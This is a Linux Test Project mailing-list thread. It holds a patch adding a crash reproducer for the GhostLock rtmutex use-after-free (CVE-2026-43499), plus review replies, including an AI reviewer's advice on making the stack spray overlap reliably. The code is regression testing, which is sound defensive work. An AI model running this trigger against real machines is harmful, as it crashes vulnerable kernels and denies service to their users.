diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 000000000..2c24368f7
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,277 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in
+ * remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ * pi_blocked_on pointer dangling on its own stack.
+ * - Waiter sprays its stack continuously via :manpage:`prctl(2)`
+ * (PR_SET_MM_MAP) with non-canonical addresses while main thread calls
+ * :manpage:`sched_setattr(2)` on the waiter to trigger a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ * kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_WORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_SPRAYED 2
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static unsigned long auxv[MAX_AUXV_WORDS];
+static uint32_t valid_auxv_size;
+static tst_atomic_t stop_spray;
+
+/*
+ * auxv_size must fit mm->saved_auxv (AT_VECTOR_SIZE words:
+ * 50 on current kernels, 44 on older ones)
+ */
+static const int try_sizes[] = {
+ MAX_AUXV_WORDS,
+ MAX_AUXV_WORDS - 4,
+ MAX_AUXV_WORDS - 8
+};
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+ struct timespec *ts)
+{
+ return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+ uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+ return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+ uaddr2, 0);
+}
+
+static void futex_lock_pi(uint32_t *uaddr)
+{
+ if (tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0) == -1) {
+ if (errno == ENOSYS)
+ tst_brk(TCONF, "FUTEX_LOCK_PI not supported");
+
+ tst_brk(TBROK | TERRNO, "FUTEX_LOCK_PI failed");
+ }
+}
+
+static void futex_unlock_pi(uint32_t *uaddr)
+{
+ if (tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0) == -1) {
+ if (errno == ENOSYS)
+ tst_brk(TCONF, "FUTEX_UNLOCK_PI not supported");
+
+ tst_brk(TBROK | TERRNO, "FUTEX_UNLOCK_PI failed");
+ }
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+ struct timespec ts;
+ struct prctl_mm_map mm_map = {
+ .start_code = (uint64_t)(uintptr_t)&waiter_fn,
+ .end_code = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
+ .start_data = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+ .end_data = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+ .start_brk = (uint64_t)(uintptr_t)sbrk(0),
+ .brk = (uint64_t)(uintptr_t)sbrk(0),
+ .start_stack = (uint64_t)(uintptr_t)&mm_map,
+ .arg_start = (uint64_t)(uintptr_t)&mm_map,
+ .arg_end = (uint64_t)(uintptr_t)&mm_map,
+ .env_start = (uint64_t)(uintptr_t)&mm_map,
+ .env_end = (uint64_t)(uintptr_t)&mm_map,
+ .auxv = (void *)auxv,
+ .auxv_size = valid_auxv_size,
+ .exe_fd = (uint32_t)-1,
+ };
+
+ waiter_tid = tst_syscall(__NR_gettid);
+
+ futex_lock_pi(&f_pi_chain);
+
+ TST_CHECKPOINT_WAKE(CP_CHAIN_HELD);
+
+ SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+ ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+ if (futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts) != -1 ||
+ (errno != ETIMEDOUT && errno != EWOULDBLOCK && errno != EDEADLK)) {
+ if (errno == ENOSYS)
+ tst_brk(TCONF, "FUTEX_WAIT_REQUEUE_PI not supported");
+
+ tst_brk(TBROK | TERRNO, "futex_wait_requeue_pi() failed unexpectedly");
+ }
+
+ TST_CHECKPOINT_WAKE(CP_SPRAYED);
+
+ while (!tst_atomic_load(&stop_spray)) {
+ /*
+ * This is the syscall that poisons the buffer and it might
+ * fail, so we don't use the SAFE_* variant.
+ */
+ prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+ sizeof(mm_map), 0);
+ }
+
+ futex_unlock_pi(&f_pi_chain);
+
+ return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+ owner_tid = tst_syscall(__NR_gettid);
+
+ TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+ futex_lock_pi(&f_pi_target);
+ TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+ futex_lock_pi(&f_pi_chain);
+
+ futex_unlock_pi(&f_pi_chain);
+ futex_unlock_pi(&f_pi_target);
+
+ return NULL;
+}
+
+static void setup(void)
+{
+ struct prctl_mm_map map = {
+ .start_code = (uint64_t)(uintptr_t)&setup,
+ .end_code = (uint64_t)(uintptr_t)&setup + 0x1000,
+ .start_data = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+ .end_data = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+ .start_brk = (uint64_t)(uintptr_t)sbrk(0),
+ .brk = (uint64_t)(uintptr_t)sbrk(0),
+ .start_stack = (uint64_t)(uintptr_t)&map,
+ .arg_start = (uint64_t)(uintptr_t)&map,
+ .arg_end = (uint64_t)(uintptr_t)&map,
+ .env_start = (uint64_t)(uintptr_t)&map,
+ .env_end = (uint64_t)(uintptr_t)&map,
+ .auxv = (void *)auxv,
+ .exe_fd = (uint32_t)-1,
+ };
+ unsigned int i;
+
+ for (i = 0; i < MAX_AUXV_WORDS; i++)
+ auxv[i] = POISON_PTR + i * sizeof(unsigned long);
+
+ for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+ valid_auxv_size = try_sizes[i] * sizeof(unsigned long);
+ map.auxv_size = valid_auxv_size;
+
+ if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+ break;
+ }
+
+ if (i == ARRAY_SIZE(try_sizes))
+ tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+ tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+ pthread_t waiter_th, owner_th;
+ struct sched_attr attr = {
+ .size = sizeof(attr),
+ .sched_policy = SCHED_BATCH,
+ .sched_nice = 19,
+ };
+ int i;
+
+ tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+ for (i = 0; i < ATTEMPTS; i++) {
+ if (!tst_remaining_runtime())
+ break;
+
+ f_wait = 0;
+ f_pi_target = 0;
+ f_pi_chain = 0;
+ tst_atomic_store(0, &stop_spray);
+
+ SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+ SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+ TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+ if (TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000))
+ tst_brk(TBROK | TERRNO, "owner thread did not block");
+
+ if (TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000))
+ tst_brk(TBROK | TERRNO, "waiter thread did not block");
+
+ TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+ if (TST_ERR == ENOSYS)
+ tst_brk(TCONF, "FUTEX_CMP_REQUEUE_PI not supported");
+ if (TST_RET != -1 || TST_ERR != EDEADLK)
+ tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+ TST_CHECKPOINT_WAIT2(CP_SPRAYED, 18000);
+
+ SAFE_SCHED_SETATTR(waiter_tid, &attr, 0);
+
+ tst_atomic_store(1, &stop_spray);
+
+ SAFE_PTHREAD_JOIN(waiter_th, NULL);
+ SAFE_PTHREAD_JOIN(owner_th, NULL);
+ }
+
+ if (i < ATTEMPTS)
+ tst_res(TINFO, "Runtime exhausted, executed %d/%d attempts", i, ATTEMPTS);
+
+ tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", i);
+}
+
+static struct tst_test test = {
+ .setup = setup,
+ .test_all = run,
+ .runtime = 180,
+ .needs_checkpoints = 1,
+ .needs_kconfigs = (const char *[]) {
+ "CONFIG_CHECKPOINT_RESTORE=y",
+ "CONFIG_FUTEX_PI=y",
+ NULL
+ },
+ .taint_check = TST_TAINT_W | TST_TAINT_D,
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "3bfdc63936dd"},
+ {"CVE", "2026-43499"},
+ {}
+ },
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 14+ messages in thread
* Re: [LTP] sched_setattr01: Convert to new API
2026-09-04 7:41 ` [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API Andrea Cervesato
@ 2026-09-04 8:20 ` linuxtestproject.agent
2026-09-04 8:23 ` Andrea Cervesato via ltp
2026-09-10 10:40 ` [LTP] [PATCH v8 1/5] " Cyril Hrubis
1 sibling, 1 reply; 14+ messages in thread
From: linuxtestproject.agent @ 2026-09-04 8:20 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: ltp
Hi Andrea,
On Sep 4, 2026, Andrea Cervesato wrote:
> sched_setattr01: Convert to new API
--- [PATCH 1/5] ---
> Rewrite the test to use the modern LTP API (tst_test.h) with a
> struct tcase array and TST_EXP_* macros.
The body only restates how the test was converted. Please explain why the
conversion is needed.
--- [PATCH 2/5] ---
> Rewrite the test to use the modern LTP API (tst_test.h) with
> TST_EXP_* macros and cleanup callback.
The body only restates how the test was converted. Please explain why the
conversion is needed.
--- [PATCH 3/5] ---
> Add a safe variant of sched_setattr() that breaks the test with TBROK
> on failure and use it in sched_setattr01 and sched_getattr01.
The body describes the wrapper and its callers, but not why the shared
wrapper is needed. Please add the motivation.
> + if (ret == -1) {
> + tst_brk_(file, lineno, TBROK | TERRNO,
> + "sched_setattr(%i) failed", pid);
> + }
This body contains one statement. Please remove the braces as required by
LTP C style.
--- [PATCH 5/5] ---
> + TST_CHECKPOINT_WAKE(CP_SPRAYED);
> +
> + while (!tst_atomic_load(&stop_spray)) {
> + prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
> + sizeof(mm_map), 0);
> + }
> + TST_CHECKPOINT_WAIT2(CP_SPRAYED, 18000);
> +
> + SAFE_SCHED_SETATTR(waiter_tid, &attr, 0);
CP_SPRAYED is signaled before the waiter enters PR_SET_MM_MAP, so nothing
ensures that sched_setattr() overlaps the controlled kernel-stack buffer.
Use the PoC's page-boundary and hole-punch mechanism, or an equivalent
mechanism that guarantees a usable overlap; otherwise a vulnerable kernel
can complete all attempts and incorrectly report TPASS.
Verdict - Needs revision
---
Note:
The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.
Regards,
LTP AI Reviewer
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [LTP] sched_setattr01: Convert to new API
2026-09-04 8:20 ` [LTP] " linuxtestproject.agent
@ 2026-09-04 8:23 ` Andrea Cervesato via ltp
0 siblings, 0 replies; 14+ messages in thread
From: Andrea Cervesato via ltp @ 2026-09-04 8:23 UTC (permalink / raw)
To: linuxtestproject.agent; +Cc: ltp
> Hi Andrea,
>
> On Sep 4, 2026, Andrea Cervesato wrote:
> > sched_setattr01: Convert to new API
>
> --- [PATCH 1/5] ---
>
> > Rewrite the test to use the modern LTP API (tst_test.h) with a
> > struct tcase array and TST_EXP_* macros.
>
> The body only restates how the test was converted. Please explain why the
> conversion is needed.
>
> --- [PATCH 2/5] ---
>
> > Rewrite the test to use the modern LTP API (tst_test.h) with
> > TST_EXP_* macros and cleanup callback.
>
> The body only restates how the test was converted. Please explain why the
> conversion is needed.
>
> --- [PATCH 3/5] ---
>
> > Add a safe variant of sched_setattr() that breaks the test with TBROK
> > on failure and use it in sched_setattr01 and sched_getattr01.
>
> The body describes the wrapper and its callers, but not why the shared
> wrapper is needed. Please add the motivation.
>
> > + if (ret == -1) {
> > + tst_brk_(file, lineno, TBROK | TERRNO,
> > + "sched_setattr(%i) failed", pid);
> > + }
>
> This body contains one statement. Please remove the braces as required by
> LTP C style.
>
> --- [PATCH 5/5] ---
>
> > + TST_CHECKPOINT_WAKE(CP_SPRAYED);
> > +
> > + while (!tst_atomic_load(&stop_spray)) {
> > + prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
> > + sizeof(mm_map), 0);
> > + }
>
> > + TST_CHECKPOINT_WAIT2(CP_SPRAYED, 18000);
> > +
> > + SAFE_SCHED_SETATTR(waiter_tid, &attr, 0);
>
> CP_SPRAYED is signaled before the waiter enters PR_SET_MM_MAP, so nothing
> ensures that sched_setattr() overlaps the controlled kernel-stack buffer.
> Use the PoC's page-boundary and hole-punch mechanism, or an equivalent
> mechanism that guarantees a usable overlap; otherwise a vulnerable kernel
> can complete all attempts and incorrectly report TPASS.
>
> Verdict - Needs revision
>
> ---
> Note:
>
> The agent can sometimes produce false positives although often its
> findings are genuine. If you find issues with the review, please
> comment this email or ignore the suggestions.
>
> Regards,
> LTP AI Reviewer
>
> --
> Mailing list info: https://lists.linux.it/listinfo/ltp
The whole AI review can be ignored
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API
2026-09-04 7:41 ` [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API Andrea Cervesato
2026-09-04 8:20 ` [LTP] " linuxtestproject.agent
@ 2026-09-10 10:40 ` Cyril Hrubis
2026-09-10 11:58 ` Andrea Cervesato via ltp
1 sibling, 1 reply; 14+ messages in thread
From: Cyril Hrubis @ 2026-09-10 10:40 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi!
> +static void verify_sched_setattr(unsigned int n)
> {
> - TEST(sched_setattr(*(test->pid), test->a, test->flags));
> -
> - if (TEST_RETURN != test->exp_return) {
> - tst_resm(TFAIL | TTERRNO, "sched_setattr(%i,attr,%u) "
> - "returned: %ld expected: %d",
> - *(test->pid), test->flags,
> - TEST_RETURN, test->exp_return);
> + struct tcase *tc = &tcases[n];
> + pid_t pid = tc->pid ? *tc->pid : 0;
> + struct sched_attr *target_attr = tc->bad_attr ? bad_addr : tc->attr;
> + struct sched_attr read_attr = { .size = sizeof(read_attr) };
> +
> + /*
> + * The kernel writes sizeof(struct sched_attr) back to uattr->size
> + * on the -E2BIG error path, clobbering our test input. Refresh
> + * before each call so re-runs (e.g. -i N) still exercise the
> + * intended size.
> + */
> + attr_small.size = SCHED_ATTR_SIZE_VER0 - 1;
> +
> + if (tc->exp_errno) {
> + TST_EXP_FAIL(sched_setattr(pid, target_attr, tc->flags),
> + tc->exp_errno, "%s", tc->desc);
> return;
> }
>
> - if (TEST_ERRNO == test->exp_errno) {
> - tst_resm(TPASS | TTERRNO,
> - "sched_setattr() works as expected");
> + TST_EXP_PASS(sched_setattr(pid, target_attr, tc->flags),
> + "%s", tc->desc);
> + if (!TST_PASS)
> return;
> - }
> -
> - tst_resm(TFAIL | TTERRNO, "sched_setattr(%i,attr,%u): "
> - "expected: %d - %s",
> - *(test->pid), test->flags,
> - test->exp_errno, tst_strerrno(test->exp_errno));
> -}
> -
> -int main(int argc, char **argv)
> -{
> - pthread_t thread;
> - int lc;
>
> - tst_parse_opts(argc, argv, NULL, NULL);
> -
> - setup();
> -
> - for (lc = 0; TEST_LOOPING(lc); lc++) {
> - pthread_create(&thread, NULL, do_test, NULL);
> - pthread_join(thread, NULL);
> + if (sched_getattr(pid, &read_attr, sizeof(read_attr), 0) == -1) {
> + tst_res(TFAIL | TERRNO, "sched_getattr() failed");
> + return;
> }
>
> - tst_exit();
> + TST_EXP_EQ_LU(read_attr.sched_policy, SCHED_DEADLINE);
> + TST_EXP_EQ_LU(read_attr.sched_runtime, RUNTIME_VAL);
> + TST_EXP_EQ_LU(read_attr.sched_deadline, DEADLINE_VAL);
> + TST_EXP_EQ_LU(read_attr.sched_period, PERIOD_VAL);
> +
> + reset_sched();
> }
Can we please split the passing test into a separate testcase?
Mixing possitive and negative tests into single source makes things
more complex for no good reason...
--
Cyril Hrubis
chrubis@suse.cz
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [LTP] [PATCH v8 2/5] sched_getattr01: Convert to new API
2026-09-04 7:41 ` [LTP] [PATCH v8 2/5] sched_getattr01: " Andrea Cervesato
@ 2026-09-10 10:48 ` Cyril Hrubis
0 siblings, 0 replies; 14+ messages in thread
From: Cyril Hrubis @ 2026-09-10 10:48 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
--
Cyril Hrubis
chrubis@suse.cz
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [LTP] [PATCH v8 3/5] lapi/sched: add SAFE_SCHED_SETATTR()
2026-09-04 7:41 ` [LTP] [PATCH v8 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
@ 2026-09-10 10:52 ` Cyril Hrubis
0 siblings, 0 replies; 14+ messages in thread
From: Cyril Hrubis @ 2026-09-10 10:52 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi!
> +static inline int safe_sched_setattr(const char *file, const int lineno,
> + pid_t pid, struct sched_attr *attr,
> + unsigned int flags)
> +{
> + int ret;
> +
> + ret = sched_setattr(pid, attr, flags);
> +
> + if (ret == -1) {
> + tst_brk_(file, lineno, TBROK | TERRNO,
> + "sched_setattr(%i) failed", pid);
Maybe it would make sense to print at least the size and sched_policy as well.
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
--
Cyril Hrubis
chrubis@suse.cz
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [LTP] [PATCH v8 4/5] lapi/prctl: add more fallback definitions
2026-09-04 7:41 ` [LTP] [PATCH v8 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
@ 2026-09-10 10:57 ` Cyril Hrubis
0 siblings, 0 replies; 14+ messages in thread
From: Cyril Hrubis @ 2026-09-10 10:57 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
--
Cyril Hrubis
chrubis@suse.cz
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [LTP] [PATCH v8 5/5] cve: add CVE-2026-43499 reproducer
2026-09-04 7:41 ` [LTP] [PATCH v8 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
@ 2026-09-10 11:08 ` Cyril Hrubis
0 siblings, 0 replies; 14+ messages in thread
From: Cyril Hrubis @ 2026-09-10 11:08 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
--
Cyril Hrubis
chrubis@suse.cz
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API
2026-09-10 10:40 ` [LTP] [PATCH v8 1/5] " Cyril Hrubis
@ 2026-09-10 11:58 ` Andrea Cervesato via ltp
0 siblings, 0 replies; 14+ messages in thread
From: Andrea Cervesato via ltp @ 2026-09-10 11:58 UTC (permalink / raw)
To: Cyril Hrubis; +Cc: Linux Test Project
Hi Cyril,
> Can we please split the passing test into a separate testcase?
>
> Mixing possitive and negative tests into single source makes things
> more complex for no good reason...
Fixed and sent the new version
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 14+ messages in thread
end of thread, other threads:[~2026-09-10 12:00 UTC | newest]
Thread overview: 14+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-04 7:41 [LTP] [PATCH v8 0/5] Reproducer for ghostlock Andrea Cervesato
2026-09-04 7:41 ` [LTP] [PATCH v8 1/5] sched_setattr01: Convert to new API Andrea Cervesato
2026-09-04 8:20 ` [LTP] " linuxtestproject.agent
2026-09-04 8:23 ` Andrea Cervesato via ltp
2026-09-10 10:40 ` [LTP] [PATCH v8 1/5] " Cyril Hrubis
2026-09-10 11:58 ` Andrea Cervesato via ltp
2026-09-04 7:41 ` [LTP] [PATCH v8 2/5] sched_getattr01: " Andrea Cervesato
2026-09-10 10:48 ` Cyril Hrubis
2026-09-04 7:41 ` [LTP] [PATCH v8 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
2026-09-10 10:52 ` Cyril Hrubis
2026-09-04 7:41 ` [LTP] [PATCH v8 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
2026-09-10 10:57 ` Cyril Hrubis
2026-09-04 7:41 ` [LTP] [PATCH v8 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
2026-09-10 11:08 ` Cyril Hrubis
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.